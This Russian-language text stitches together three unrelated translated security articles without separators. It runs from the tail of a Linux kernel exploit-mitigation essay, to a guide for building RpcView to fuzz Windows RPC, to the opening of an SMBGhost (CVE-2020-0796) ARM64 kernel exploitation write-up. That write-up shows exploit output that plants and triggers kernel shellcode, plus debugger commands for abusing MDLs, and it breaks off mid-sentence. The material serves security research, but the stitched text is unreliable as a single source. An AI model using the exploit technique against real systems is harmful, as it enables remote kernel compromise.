Чтобы максимизировать пользу рандомизации схем структур в среде, где ядра собираются централизованно дистрибутивом или поставщиком, будет необходимо сделать рандомизацию процессом этапа загрузки, обеспечив возможность релокации смещений структур. (Или процессом этапа установки, но это нарушит подпись исполняемого кода.) Чтобы сделать это чисто (например, так, чтобы по возможности можно было всё равно использовать 8-битные и 16-битные непосредственные замены для доступа к членам структур), вероятно, потребуется много повозиться с внутренностями компилятора, от фронтенда на C вплоть до создания переадресаций. Немного грязная версия такой системы уже существует для компиляции C->BPF в виде [BPF CO- RE](https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability- and-co-re.html); в нём используется встроенный в clang [__builtin_preserve_access_index](https://clang.llvm.org/docs/LanguageExtensions.html#builtin- preserve-access-index), но применяется debuginfo и это, наверно, не особо чистый подход.
Потенциальные проблемы с рандомизацией схемы структуры:
Хотя сама рандомизация схемы структуры ограничена в своей эффективности несоответствиями структур и массивов, она может быть более надёжной в сочетании с ограниченным разбиением куч: если куча разделена таким образом, что возможно только несоответствие структуры и структуры, а рандомизация схемы структуры сильно усложняет эксплойты несоответствия структуры и структуры, и в том же разделе кучи нет структуры с теми же свойствами массива, то, вероятно, станет намного сложнее напрямую использовать UAF как атаку несоответствия типов. С другой стороны, если куча уже разделена таким образом, то может быть логичнее пойти с разбиением куч ещё дальше и создавать по одному разделу на тип вместо того, чтобы возиться со всей этой рандомизацией схемы структуры.
(Кстати, если схемы структур рандомизированы, то, вероятно, паддинг тоже нужно явным образом рандомизировать, чтобы он не находился на одной стороне; так мы максимально рандомизируем члены структуры с низкой согласованностью; подробности см. в [моём посте по этой теме](https://lore.kernel.org/kernel- hardening/CAG48ez1Mr1FNCDGFscVg0SpuuA_Z4tn=WJhEqJVWW1rOuRiG2w@mail.gmail.com/).)
Я хочу открытым текстом указать на то, что целостность потоков управления ядра не повлияет на всю эту стратегию борьбы с эксплойтами. Используя стратегию «только данные» мы избегаем необходимости утечки адресов, необходимости поиска ROP-гаджетов для конкретной сборки ядра, и на нас совершенно не влияют любые меры, предпринимаемые для защиты кода ядра или потока управления ядра. Такие действия, как получение доступа к произвольным файлам, повышение привилегий процесса и тому подобные, не требуют управления указателем команд ядра.
Как и в [моём предыдущем посте об эксплойтах ядра Linux](https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack- surface-too.html) (он посвящён забагованной подсистеме, которую поставщик Android добавил в своё ядро вниз по потоку), я придерживаюсь того мнения, что стратегия борьбы с эксплойтами «только данные» кажется очень естественной и менее запутанной, чем попытки перехвата потока управления.
Возможно, для кода пользовательского пространства ситуация иная; но с точки зрения атак из пользовательского пространства против ядра я пока не вижу особой полезности в CFI, поскольку обычно она влияет только на один из множества способов эксплойта бага. (Хотя, разумеется, возможны специфические случаи, в которых баг можно использовать только перехватом потока управления, например, если несовпадение типов позволяет только переписывать указатель функции и ни одна из разрешённых вызываемых сторон не делает предположений о типах входящих данных или привилегиях, которые можно нарушить изменением указателя функции.)
Во многих случаях используется следующая идея защиты (в том числе в ядрах телефонов Samsung и в ядрах XNU для iOS): превращение критически важных для безопасности ядра данных в read-only за исключением ситуаций, в которых запись в них производится намеренно — смысл заключается в том, что даже если у нападающего есть возможность записи в произвольную память, он не должен быть способен напрямую переписывать конкретные элементы данных, имеющие чрезвычайную важность для безопасности системы, например, структуры идентификационных данных, таблицы страниц или [(на iOS с использованием PPL) страниц кода пользовательского пространства](https://googleprojectzero.blogspot.com/2020/07/the-core-of- apple-is-ppl-breaking-xnu.html).
Я вижу в таком подходе следующую проблему: большая часть того, что делает ядро, в том или ином смысле критично для правильной работы системы и её безопасности. Управление состоянием MMU, планирование задач, распределение памяти, [файловые системы](https://googleprojectzero.blogspot.com/2020/02/mitigations-are- attack-surface-too.html), кэш страниц, IPC,… — если любая из этих частей ядра будет достаточно серьёзно повреждена, нападающий, вероятно, сможет получить доступ ко всем пользовательским данным в системе или использовать это повреждение для передачи поддельных данных одной из подсистем, структуры данных которой являются read-only.
На мой взгляд, вместо того, чтобы пытаться отделить самые критичные части ядра и запускать их в контексте с повышенными привилегиями, вероятно, более продуктивно будет пойти в противоположном направлении и попытаться приблизиться к чему-то типа настоящего микроядра: отделить драйверы, которые необязательны в ядре, и запускать их в контексте с более низкими привилегиями, который взаимодействует с самим ядром через API. Разумеется, это проще сказать, чем сделать! Но в Linux уже есть API для безопасного доступа к PCI- устройствам (VFIO) и USB-устройствам из пользовательского пространства, хотя работа с драйверами пользовательского пространства и не являются его основной задачей.
(Можно также предложить сделать read-only таблицы страниц, не из-за их важности для целостности системы, а из-за того, что структура записей таблицы страниц повышает удобство работы с ними в эксплойтах, которые ограничены в способах внесения изменений в памяти. Мне не нравится такой подход, потому что я считаю, что из этого нельзя сделать чёткий вывод и потому что это сильно инвазивно с учётом возможных схем структур данных.)
По сути, это был скучный баг блокировки в какой-то произвольной подсистеме ядра и если бы небезопасность памяти, он не сильно был бы связан с безопасностью системы. Я написал очень простой и неинтересный эксплойт этого бага; наверно, самым сложным в его создании в Debian было разобраться, как работает распределитель SLUB.
В этой статье я хотел описать этапы эксплойта и то, как на него могут повлиять различные меры, для того, чтобы подчеркнуть, что чем дальше развивается эксплойт повреждения памяти, тем больше возможностей появляется у нападающего; к тому же в общем случае, чем раньше остановлен эксплойт, тем надёжнее защита. Следовательно, если меры защиты, останавливающие эксплойт раньше, тратят больше ресурсов, они всё равно могут быть полезными.
Я считаю, что текущую ситуацию в сфере безопасности ПО можно значительно улучшить — в мире, где небольшой баг в какой-то произвольной подсистеме ядра может привести к полной компрометации системы, ядро не способно обеспечить надёжное изолирование защиты. Инженеры по защите информации могут сосредоточиться на таких вещах, как забагованные проверки разрешений и правильность управления памятью ядра, а не тратить время на проблемы в коде, которые не должны иметь никакой связи с безопасностью системы.
В ближайшей перспективе для улучшения ситуации можно использовать быстрые реализуемые решения, например, разбиение кучи или более детальное устранение UAF. Они могут влиять на производительность, из-за чего могут показаться непривлекательными; но я всё равно считаю, что лучше тратить время разработки на них, чем на вещи типа CFI, пытающиеся защититься от гораздо более поздних этапов эксплойтов.
В дальней перспективе что-то должно измениться в сфере языка программирования — обычный C попросту слишком подвержен ошибкам. Возможно, решением станет Rust; а может, внедрение достаточного количества аннотаций в C (что-то в духе [проекта Microsoft Checked C](https://www.microsoft.com/en- us/research/project/checked-c/), хотя насколько я понимаю, он в основном занимается вещами наподобие границ массивов, а не временными проблемами), что позволит использовать во время сборки проверки в стиле Rust на правила блокировки, состояния объектов, refcounting, приведение пустых указателей и т. д. А может быть, в конечном итоге станет популярным совершенно другой безопасный по памяти язык, не C и не Rust?
Я надеюсь, что хотя бы в перспективе у нас сможет появиться статически проверенная высокопроизводительная основа кода ядра, работающая совместно с инструментированным, проверяемым во время выполнения, не критичным для производительности легаси-кодом, чтобы разработчики могли обеспечить компромисс между вложениями времени в заполняющие правильные аннотации и замедлением инструментирования времени выполнения без компрометации безопасности.
Повреждение памяти — это серьёзная проблема, потому что небольшие баги даже за пределами связанного с безопасностью кода могут привести к полной компрометации системы; чтобы решить эту проблему, нам нужно:
[Автор оригинала: Jann
Horn](https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-
memory.html)
перевод @PatientZero
Недавний выпуск PetitPotam от @topotam77 побудил меня вернуться к фаззингу Windows RPC. Я подумал, что было бы неплохо написать статью в блоге, рассказывающую о том, как можно влиться в эту область исследований.
RPC как цель для фаззинга?
Как вы знаете, RPC означает "Удалённый вызов процедур" и это не специфическая для Windows технология. Первые реализации RPC были представлены уже в UNIX- системах в восьмидесятых годах. Это позволило компьютерам общаться друг с другом по сети, и даже "использовалось как основа для сетевой файловой системы (NFS)" (источник: Wikipedia).
Реализация RPC, разработанная в Microsoft и используемая в Windows, называется DCE/RPC, что является сокращением от "Distributed Computing Environment / Remote Procedure Calls" (источник: Wikipedia). DCE/RPC - это лишь один из многих механизмов IPC (межпроцессных взаимодействий), используемых в Windows. Например, он используется для того, чтобы локальный процесс или даже удалённый клиент в сети мог взаимодействовать с другим процессом или службой на локальной или удалённой машине.
Как вы уже поняли, вопросы безопасности такого протокола особенно интересны. Уязвимости в сервере RPC могут иметь различные последствия, начиная от Отказа в обслуживании (DoS) до Удалённого выполнения кода (RCE), включая и Локальное повышение привилегий (LPE). В сочетании с тем, что код унаследованных RPC- серверов на Windows зачастую довольно старый (если исключить более современную модель DCOM), это делает его очень интересной целью для фаззинга.
Как фаззить Windows RPC?
Если говорить прямо, эта заметка не посвящена продвинутому и автоматизированному фаззингу. Другие, гораздо более талантливые люди нежели я, уже обсуждали эту тему. Скорее хочу показать как новичок может заняться подобным исследованием, не имея знаний в этой области.
Пентестеры используют Windows RPC каждый раз, когда работают в Windows/Active Directory с инструментами на базе impacket-утилит, возможно, не всегда полностью осознавая это. Использование Windows RPC, вероятно, стало более очевидным благодаря таким инструментам, как SpoolSample (он же "Printer Bug") от @tifkin_ или, в последствии, PetitPotam от @topotam77.
Если вы хотите узнать, как работают эти инструменты или хотите самостоятельно найти ошибки в Windows RPC, есть два основных подхода. Первый заключается в поиске интересных ключевых слов в документации и последующем экспериментировании путём модификации библиотеки impacket или написания RPC- клиента на C. Как объяснил @topotam77 в эпизоде 0x09 французского подкаста Hack'n Speak, этот подход был особенно эффективен при создании PetitPotam. Однако он имеет некоторые ограничения: главное из них заключается в том, что не все RPC-интерфейсы документированы, а существующая документация не всегда полная. Поэтому второй подход заключается в перечислении RPC-серверов непосредственно на машине с Windows с помощью такого инструмента, как RpcView.
RpcView
Если вы новичок в анализе RPC, то RpcView - лучший инструмент для начала работы. Он способен перечислить все RPC-серверы, запущенные на машине и представляет всю собранную информацию в виде симпатичного GUI. Когда вы ещё не знакомы с технической и/или абстрактной концепцией, возможность визуализировать всё таким образом является неоспоримым преимуществом.
Скриншот взят с сайта https://rpcview.org/.
Click to expand...
Этот инструмент был первоначально разработан 4 французскими исследователями - Jean-Marie Borello, Julien Boutet, Jeremy Bouetard и Yoanne Girardin в 2017 году и до сих пор активно поддерживается. Его использование было продемонстрировано на PacSec 2017 в презентации A view into ALPC- RPC от Clément Rouault и Thomas Imbert. Эта презентация также сопровождалась инструментом RPCForge.
Загрузка и запуск RpcView в первый раз
Официальный репозиторий RpcView находится здесь: https://github.com/silverf0x/RpcView. После каждого коммита новый релиз автоматически собирается через AppVeyor. Таким образом вы всегда можете скачать последнюю версию здесь.
После распаковки 7z-архива вам нужно просто запустить RpcView.exe (лучше всего от имени администратора) и всё готово к работе. Однако если используемая вами версия Windows слишком свежая, вы получите ошибку, подобную приведённой ниже.
Согласно сообщению об ошибке, наша "версия среды выполнения " не
поддерживается и мы должны отправить файл rpcrt4.dll
команде разработчиков.
Это сообщение может показаться немного загадочным для неофита, но беспокоиться
не о чём, всё в полном порядке.
Библиотека rpcrt4.dll
, как следует из её названия, буквально содержит "среду
выполнения RPC". Другими словами, она содержит весь основной код, который
позволяет RPC-клиенту и RPC-серверу взаимодействовать друг с другом.
Теперь, если мы посмотрим на файл
README на GitHub, то увидим там раздел
"Как добавить новую среду выполнения RPC". В нём говорится, что есть два
способа решить эту проблему: первый - просто отредактировать файл
RpcInternals.h
и добавить нужную нам версию; второй - переделать
rpcrt4.dll
чтобы определить необходимые структуры (такие как RPC_SERVER
).
Реализация среды выполнения RPC меняется не так уж часто, поэтому первый
вариант более подходит в нашем случае.
Компиляция RpcView
Мы видим, что наша среда выполнения RPC в настоящее время не поддерживается,
поэтому нам придется обновить RpcInternals.h
до нашей версии среды
выполнения и собрать RpcView из исходников. Для этого нам понадобится
следующее:
Я настоятельно рекомендую использовать виртуальную машину для подобных установок. К вашему сведению, я также использую Chocolatey - менеджер пакетов Windows - для автоматизации установки некоторых инструментов (например, Visual Studio, инструменты GIT).
Click to expand...
Установка Visual Studio 2019
Вы можете скачать Visual Studio 2019 здесь или установить его с помощью Chocolatey.
Code:Copy to clipboard
choco install visualstudio2019community
В процессе работы вам также необходимо установить Windows SDK, он понадобится позже. Я использую следующий код PowerShell для поиска последней доступной версии SDK.
Code:Copy to clipboard
[string[]]$sdks = (choco search windbg | findstr "windows-sdk")
$sdk_latest = ($sdks | Sort-Object -Descending | Select -First 1).split(" ")[0]
И устанавливаю его с помощью программы Chocolatey. Если вы хотите установить его вручную, вы также можете скачать веб-установщик [здесь](https://developer.microsoft.com/en- US/windows/downloads/windows-10-sdk/).
Code:Copy to clipboard
choco install $sdk_latest
Как только Visual Studio будет установлена. Вам необходимо открыть "Visual Studio Installer".
И установить пакет "Desktop development with C++". Надеюсь, у вас надёжное подключение к Интернету и достаточно места на диске...
Установка CMake
Установка CMake проста - достаточно выполнить следующую команду с помощью Chocolatey. Но, опять же, вы можете скачать его с официального сайта и установить вручную.
Code:Copy to clipboard
choco install cmake
CMake также является частью Visual Studio, но я никогда не пытался скомпилировать RpcView с помощью этой встроенной версии.
Click to expand...
Установка Qt
На момент написания статьи в README указано, что версия Qt, используемая проектом - 5.15.2. Настоятельно рекомендую использовать именно эту версию, иначе могут возникнуть проблемы в процессе компиляции.
Вопрос в том, как найти и скачать Qt версии 5 5.15.2? Вот тут всё становится несколько сложнее, потому что этот процесс несколько запутан. Во-первых, вам нужно зарегистрировать учётную запись здесь. Это позволит использовать их собственный веб-инсталлятор. Затем вам нужно загрузить программу установки здесь.
После запуска программы установки она предложит вам войти в систему под своей учётной записью.
После этого можете оставить всё по умолчанию. Однако на шаге "Select Components" убедитесь, что выбрали Qt 5.15.2 только для MSVC 2019 32 & 64 бит. Это уже 2,37 ГБ данных для загрузки, но если вы выберете всё - получится около 60 ГБ.
Если вам повезло, программа установки должна запуститься. Но если нет, вы столкнётесь с ошибкой, приведённой ниже. На момент написания статьи тикет был открыт на их трекере, но, похоже, они не спешат это исправлять.
Чтобы решить эту проблему, я написал быстрый и грязный сценарий PowerShell, который загружает все необходимые файлы непосредственно с ближайшего зеркала Qt. Возможно, это противоречит условиям использования, но что поделаешь! Я просто хочу сделать работу.
Если оставить все значения по-умолчанию, скрипт загрузит и извлечёт все
необходимые файлы для Visual Studio 2019 (32 и 64 бита) в C:\Qt\5.15.2\
.
Убедитесь, что 7-Zip установлен перед запуском этого скрипта!
Click to expand...
Code:Copy to clipboard
# Update these settings according to your needs but the default values should be just fine.
$DestinationFolder = "C:\Qt"
$QtVersion = "qt5_5152"
$Target = "msvc2019"
$BaseUrl = "https://download.qt.io/online/qtsdkrepository/windows_x86/desktop"
$7zipPath = "C:\Program Files\7-Zip\7z.exe"
# Store all the 7z archives in a Temp folder.
$TempFolder = Join-Path -Path $DestinationFolder -ChildPath "Temp"
$null = [System.IO.Directory]::CreateDirectory($TempFolder)
# Build the URLs for all the required components.
$AllUrls = @("$($BaseUrl)/tools_qtcreator", "$($BaseUrl)/$($QtVersion)_src_doc_examples", "$($BaseUrl)/$($QtVersion)")
# For each URL, retrieve and parse the "Updates.xml" file. This file contains all the information
# we need to dowload all the required files.
foreach ($Url in $AllUrls) {
$UpdateXmlUrl = "$($Url)/Updates.xml"
$UpdateXml = [xml](New-Object Net.WebClient).DownloadString($UpdateXmlUrl)
foreach ($PackageUpdate in $UpdateXml.GetElementsByTagName("PackageUpdate")) {
$DownloadableArchives = @()
if ($PackageUpdate.Name -like "*$($Target)*") {
$DownloadableArchives += $PackageUpdate.DownloadableArchives.Split(",") | ForEach-Object { $_.Trim() } | Where-Object { -not [string]::IsNullOrEmpty($_) }
}
$DownloadableArchives | Sort-Object -Unique | ForEach-Object {
$Filename = "$($PackageUpdate.Version)$($_)"
$TempFile = Join-Path -Path $TempFolder -ChildPath $Filename
$DownloadUrl = "$($Url)/$($PackageUpdate.Name)/$($Filename)"
if (Test-Path -Path $TempFile) {
Write-Host "File $($Filename) found in Temp folder!"
}
else {
Write-Host "Downloading $($Filename) ..."
(New-Object Net.WebClient).DownloadFile($DownloadUrl, $TempFile)
}
Write-Host "Extracting file $($Filename) ..."
&"$($7zipPath)" x -o"$($DestinationFolder)" $TempFile | Out-Null
}
}
}
Сборка RpcView
Мы готовы к работе. Однако не хватает последней детали: версии среды выполнения RPC. Когда я впервые попытался собрать RpcView из исходников, то был немного озадачен и не знал, какой номер версии должен быть. На самом деле всё очень просто (если знать, что делать...)
Вам просто нужно открыть свойства файла C:\Windows\System32\rpcrt4.dll
и
посмотреть версию файла. В моём случае это 10.0.19041.1081.
Затем вы можете загрузить исходный код.
Code:Copy to clipboard
git clone https://github.com/silverf0x/RpcView
После этого мы должны отредактировать оба файла
.\RpcView\RpcCore\RpcCore4_64bits\RpcInternals.h
и
.\RpcView\RpcCore\RpcCore4_32bits\RpcInternals.h
. В начале находится
статический массив, который содержит все поддерживаемые версии.
C++:Copy to clipboard
static UINT64 RPC_CORE_RUNTIME_VERSION[] = {
0x6000324D70000LL, //6.3.9431.0000
0x6000325804000LL, //6.3.9600.16384
...
0xA00004A6102EALL, //10.0.19041.746
0xA00004A61041CLL, //10.0.19041.1052
}
Мы видим, что каждая версия представлена в виде longlong-значения. Например, версия 10.0.19041.1052 переводится как:
Code:Copy to clipboard
0xA00004A61041 = 0x000A (10) || 0x0000 (0) || 0x4A61 (19041) || 0x041C (1052)
Если мы применим то же преобразование к номеру версии 10.0.19041.1081, то получим следующий результат.
C++:Copy to clipboard
static UINT64 RPC_CORE_RUNTIME_VERSION[] = {
0x6000324D70000LL, //6.3.9431.0000
0x6000325804000LL, //6.3.9600.16384
...
0xA00004A6102EALL, //10.0.19041.746
0xA00004A61041CLL, //10.0.19041.1052
0xA00004A610439LL, //10.0.19041.1081
}
Наконец, мы можем создать решение в Visual Studio и собрать его. Я покажу
только процесс компиляции 64-битной версии, но если вы хотите скомпилировать
32-битную версию, вы можете обратиться к документации. В любом случае,
процессы похожи.
Для следующих команд я предполагаю следующее:
- Qt установлен в C:\Qt\5.15.2\
.
- CMake установлен в C:\Program Files\CMake\
.
- текущей рабочей директорией является папка с исходниками RpcView (например:
C:\Users\lab-user\Downloads\RpcView\
).
Code:Copy to clipboard
mkdir Build\x64
cd Build\x64
set CMAKE_PREFIX_PATH=C:\Qt\5.15.2\msvc2019_64\
"C:\Program Files\CMake\bin\cmake.exe" ../../ -A x64
"C:\Program Files\CMake\bin\cmake.exe" --build . --config Release
Кроме того, вы можете скачать последнюю версию с AppVeyor
здесь,
извлечь файлы и заменить RpcCore4_64bits.dll
и RpcCore4_32bits.dll
на
версии, которые были скомпилированы и скопированы в
.\RpcView\Build\x64\bin\Release\
.
Если все прошло хорошо, RpcView наконец-то запустится!
Патчтинг RpcView
Если вы следили за происходящим, то, вероятно, заметили, что в итоге мы сделали всё это только для того, чтобы добавить числовое значение к двум библиотекам DLL. Конечно, есть более простой способ получить тот же результат. Мы можем просто исправить существующие DLL и заменить одно из существующих значений нашей собственной версией.
Для этого я открою обе DLL-библиотеки с помощью [HxD](https://mh-
nexus.de/en/hxd/). Мы знаем, что значение 0xA00004A61041C
присутствует в
обоих файлах, поэтому можем поискать его. Значения хранятся с использованием
little-endian упорядочивания байтов, поэтому на самом деле нам придется искать
шестнадцатеричный шаблон 1C04614A00000A00
.
Здесь нам просто нужно заменить значение 1C04
(0x041C = 1052) на 3904
(0x0439 = 1081), потому что остальная часть номера версии такая же
(10.0.19041).
После сохранения файлов, RpcView должен быть готов к работе. Это грязный хак, но он работает. И это гораздо эффективнее, чем собирать проект из исходников!
Обновление: использование флага "force"
Как оказалось, вам даже не нужно проходить через все эти трудности. RpcView
имеет недокументированный флаг командной строки /force
, который можно
использовать для отмены проверки версии RPC во время выполнения.
Code:Copy to clipboard
.\RpcView64\RpcView.exe /force
Честно говоря, я вообще не смотрел в код. Иначе наверняка увидел бы это. Урок усвоен. Спасибо @Cr0Eax за то, что обратил на это моё внимание. В любом случае, создание и исправление было хорошим испытанием, я думаю.
Начальная конфигурация
Теперь, когда RpcView запущен и работает, нам нужно немного настроить его, чтобы сделать пригодным для использования.
Частота обновления
Первое, что вы должны сделать - это снизить частоту обновления (особенно если
вы запускаете его внутри виртуальной машины). Установите 10 секунд
- вполне
нормально. Вы даже можете установить этот параметр на "manual".
Символы
На скриншоте ниже мы видим, что есть раздел, который должен перечислять все процедуры или функции, которые открыты через RPC-сервер. На самом деле он содержит только адреса.
Это не очень удобно, но есть одна замечательная особенность большинства
исполняемых файлов Windows: Microsoft публикует связанные с ними PDB-файлы
(Program DataBase).
Эти символы можно настроить через пункт меню Options > Configure Symbols.
Здесь я установил значение srv*C:\SYMBOLS
.
Единственная загвоздка заключается здесь в том, что RpcView (в отличие от других инструментов) не может автоматически загружать PDB-файлы. Поэтому нам необходимо загрузить их заранее.
Если вы загрузили Windows SDK, то этот шаг будет довольно прост. SDK включает
инструмент под названием symchk.exe
, который позволяет получить PDB-файлы
практически для любого EXE или DLL непосредственно с серверов Microsoft.
Например, следующая команда позволяет загрузить символы для всех DLL в
C:\Windows\System32\.
Code:Copy to clipboard
cd "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\"
symchk /s srv*c:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll
После загрузки символов необходимо перезапустить RpcView. После этого вы должны увидеть, что имя каждой функции определено в разделе "Procedures".
Заключение
Этот пост уже длиннее, чем я предполагал, поэтому на этом закончу. Если вы новичок, то у вас уже есть все основы для начала работы. Основное преимущество инструмента на основе графического интерфейса заключается в том, что вы можете легко изучить и визуализировать некоторые внутренние компоненты и концепции, которые могут быть трудно понять в ином случае.
Если вам понравилась эта статья, не стесняйтесь сообщить мне в Twitter. Я лишь поверхностно остановился на этом, но это может стать началом серии статей, в которых я исследую Windows RPC. В следующей части объясню как взаимодействовать с сервером RPC. В частности, думаю, было бы неплохо использовать PetitPotam в качестве примера и показать как вы можете повторить это, основываясь на информации, которую вы получаете из RpcView.
---
Оригинал статьи: https://itm4n.github.io/fuzzing-windows-rpc-rpcview/
Переведено специально для xss.is. Спасибо Azrv3l за
наводку.
Введение
Не используйте эту статью ни для чего, кроме образовательных целей, все это было протестировано только на единственной машине ARM64 (Windows 10 18362 ARM 64-bit (AArch64)), к которой у меня был прямой доступ. Убедитесь, что патч KB4551762 не установлен, если вы выполняетете некоторые тесты. Я постараюсь сделать эту статью максимально удобочитаемой, даже если у вас ограниченный опыт разработки эксплойтов. Если у вас есть какие-либо вопросы - не стесняйтесь просто заходить в Discord, чтобы задать их на сервере OPCDE.
Code:Copy to clipboard
PS C:\Users\msuiche\Documents\dev\smbaloo> python.exe .\exploit.py -ip 169.254.82.219
[+] hal!HalpInterruptController found at 80009000!
[+] HalpInterruptController_VirtAddr at fffff7a700007000
[+] HalpGic3RequestInterrupt at fffff803bcdd5d70
[+] pHalpGic3RequestInterrupt at fffff7a700007078
[+] HalBase_VirtAddr at fffff803bcd9f000
[+] built shellcode!
[+] Wrote shellcode at fffff803bcd9f500!
[+] Press a key to execute shellcode!
[+] [fffff7a700007078] = fffff803bcd9f500
[+] overwrote HalpInterruptController pointer, should have execution shortly...
PS C:\Users\msuiche\Documents\dev\smbaloo>
Уязвимость
Прежде всего ... Как выглядит переполнение int на процессоре ARM64? Она выглядит так, как показано ниже на картинке, поскольку вы можете видеть, что 32-битные регистры w9 и w8 складываются друг с другом и происходит БУМММ.
**Эксплуатация
Чтение физической памяти с помощью MDL**
@hugeh0ge, который первым написал об использовании SMBGhost (CVE-2020-0796) и представил, как использовать списки дескрипторов памяти (MDL) для чтения страниц физической памяти. Это определенно отличный пост в блоге, чтобы понять, как использовать уязвимость, он был особенно полезен, когда я читал превосходный chompie эксплойт. Хотя, пытаясь использовать этот эксплойт, я постоянно получал примитивные сбои физического чтения при попытке чтения физических страниц, которые будут обсуждаться ниже.
Вот некоторые из команд, которые я использовал для отладки своих MDL:
Code:Copy to clipboard
bp srv2!Srv2DecompressData+0x7c
bp srv2!Srv2DecompressData+0xd0
bp srvnet!SrvNetSendData
r w9; r w8; r w0; p;r x0;.printf "(srv2!Srv2DecompressData post allocation)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x0, poi(@x0+0x18), poi(@x0+0x38);g
.printf "(srv2!Srv2DecompressData pre uncompression)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x19, poi(@x19+0x18), poi(@x19+0x38);p;r x19;.printf "(srv2!Srv2DecompressData post uncompression)\nSRVNET_BUFFER_HEADER: %p\nPNET_RAW_BUFF_OFFSET: %p\nPMDL1_OFFSET: %p\n", @x19, poi(@x19+0x18), poi(@x19+0x38);g
.printf "(srvnet!SrvNetSendData)\nMDL: %p\n", poi(@x1+8);dt nt!_MDL poi(@x1+8);dq poi(@x1+8)+0x30 L3;
После отладки srvnet!SrvNetSendData я заметил, что функция не считывала номера кадров страницы (PFN), которые были добавлены после созданного MDL. Это произошло из-за того, что MdlFlags был установлен в 0x501C вместо 0x5018, где MDL_SOURCE_IS_NONPAGED_POOL не должен присутствовать.
Code:Copy to clipboard
MdlFlags: 0x5018 Mdl Flags: 0x501C
MDL_ALLOCATED_FIXED_SIZE MDL_ALLOCATED_FIXED_SIZE
MDL_PARTIAL MDL_PARTIAL
MDL_NETWORK_HEADER MDL_NETWORK_HEADER
MDL_ALLOCATED_MUST_SUCCEED MDL_ALLOCATED_MUST_SUCCEED
MDL_SOURCE_IS_NONPAGED_POOL
Спасибо макросу MmGetSystemAddressForMdlSafe() за подсказку.
C:Copy to clipboard
#define MmGetSystemAddressForMdlSafe(MDL, PRIORITY) \
(((MDL)->MdlFlags & (MDL_MAPPED_TO_SYSTEM_VA | \
MDL_SOURCE_IS_NONPAGED_POOL)) ? \
((MDL)->MappedSystemVa) : \
(MmMapLockedPagesSpecifyCache((MDL), \
KernelMode, \
MmCached, \
NULL, \
FALSE, \
(priority))))
Теперь, когда у нас есть возможность читать физические страницы, я первым делом понял, что в некоторых случаях я не мог читать определенные физические адреса, потому что они не были частью фактического макета физической памяти, и тогда система зависает или происходит BsoD. Я написал статью о получении структуры физической памяти с помощью структур MmGetPhysicalMemoryRanges() в 2008 году (http://blog.csdn.net/iiprogram/article/details/3080059), поскольку это была общая проблема для многих инструментов сбора памяти, которую DumpIt решал в первые дни.
Как ни странно, все остальные были настолько одержимы сырыми дампами, что даже не знали, что такое сырая паиять. Многие пытались читать от 0x0 до HighestPhysicalMemoryAddress, хотя некоторые блоки в этом адресном пространстве могут быть зарезервированы для памяти других устройств, таких как видеокарты, или даже не выделены. Если вы посмотрите мою старую презентацию BlackHat 2010 - Blue screen of death is dead, я рассказывал об этом, объясняя простую структуру физической памяти.
Есть еще одна потенциальная (и интересная) причина, по которой невозможно читать страницы физической памяти на ARM64, которая определенно заслуживает большего внимания, а именно то, что видимое физическое адресное пространство между Secure World и Normal World может отличаться. Это также основная причина, по которой я перестал пытаться использовать методику самосопоставления TTBR (PML4 на x64), в которой вы ищите PTE KSHARED_USER_DATA и меняете биты NX для загрузки шелл-кода ядра.
Система может быть спроектирована так, чтобы иметь две полностью отдельные системы памяти, где Normal World может получить доступ только к незащищенному физическому адресному пространству, а Secure World может получить доступ к обоим, предоставляя для обоих миров разные таблицы трансляции (TTBR).
Я очень подозреваю, что именно это происходит, когда мы пытаемся прочитать
некоторые таблицы страниц ядра, что мешает нам прочитать таблицу TTBR1.
Простой способ прочитать значение TTBR1 (а также Vbar_El1, о котором мы
поговорим позже) во время отладки - это прочитать значения
Pcr[n].Prcb.ProcessorState.ArchState. Эта информация особенно полезна,
особенно когда мы не хотим включать отладку ядра на машине, где мы можем
просто сгенерировать полный дамп памяти с помощью DumpIt ARM64 (доступен с
2019 года) и прочитать эти значения.
Code:Copy to clipboard
0: kd> dx -id 0,0,ffffda8cc8c7e180 -r1 (*((ntkrnlmp!_KARM64_ARCH_STATE *)0xfffff800dbab0a60))
(*((ntkrnlmp!_KARM64_ARCH_STATE *)0xfffff800dbab0a60)) [Type: _KARM64_ARCH_STATE]
[+0x000] Midr_El1 : 0x517f803c [Type: unsigned __int64]
[+0x008] Sctlr_El1 : 0x30d0591d [Type: unsigned __int64]
[+0x010] Actlr_El1 : 0x0 [Type: unsigned __int64]
[+0x018] Cpacr_El1 : 0x300000 [Type: unsigned __int64]
[+0x020] Tcr_El1 : 0x95b5513511 [Type: unsigned __int64]
[+0x028] Ttbr0_El1 : 0x400000800a9000 [Type: unsigned __int64]
[+0x030] Ttbr1_El1 : 0x400000800a9800 [Type: unsigned __int64]
[+0x038] Esr_El1 : 0xf200f000 [Type: unsigned __int64]
[+0x040] Far_El1 : 0x1b6ebff1000 [Type: unsigned __int64]
[+0x048] Pmcr_El0 : 0x0 [Type: unsigned __int64]
[+0x050] Pmcntenset_El0 : 0x0 [Type: unsigned __int64]
[+0x058] Pmccntr_El0 : 0x0 [Type: unsigned __int64]
[+0x060] Pmxevcntr_El0 [Type: unsigned __int64 [31]]
[+0x158] Pmxevtyper_El0 [Type: unsigned __int64 [31]]
[+0x250] Pmovsclr_El0 : 0x0 [Type: unsigned __int64]
[+0x258] Pmselr_El0 : 0x0 [Type: unsigned __int64]
[+0x260] Pmuserenr_El0 : 0x0 [Type: unsigned __int64]
[+0x268] Mair_El1 : 0x44bb00ff44bb00ff [Type: unsigned __int64]
[+0x270] Vbar_El1 : 0xfffff800dfc03000 [Type: unsigned __int64]
Из-за ограниченного доступа к машинам ARM64 я не смог дополнительно проверить это, но на моем тестовом ноутбуке (Lenovo Yoga C630) PFN Ttbr0_El1 постоянно был 0x800a9000 после 50-100 перезагрузок - это означает, что это значение, вероятно, не рандомизировано, что могло быть проверенным путем реверсинга bootmgfw!MmArm64pAllocateAndInitializePageTables. Я не говорю, что значение статично в разных средах, но то что его легко предсказать.
На данный момент мы можем сделать два предположения:
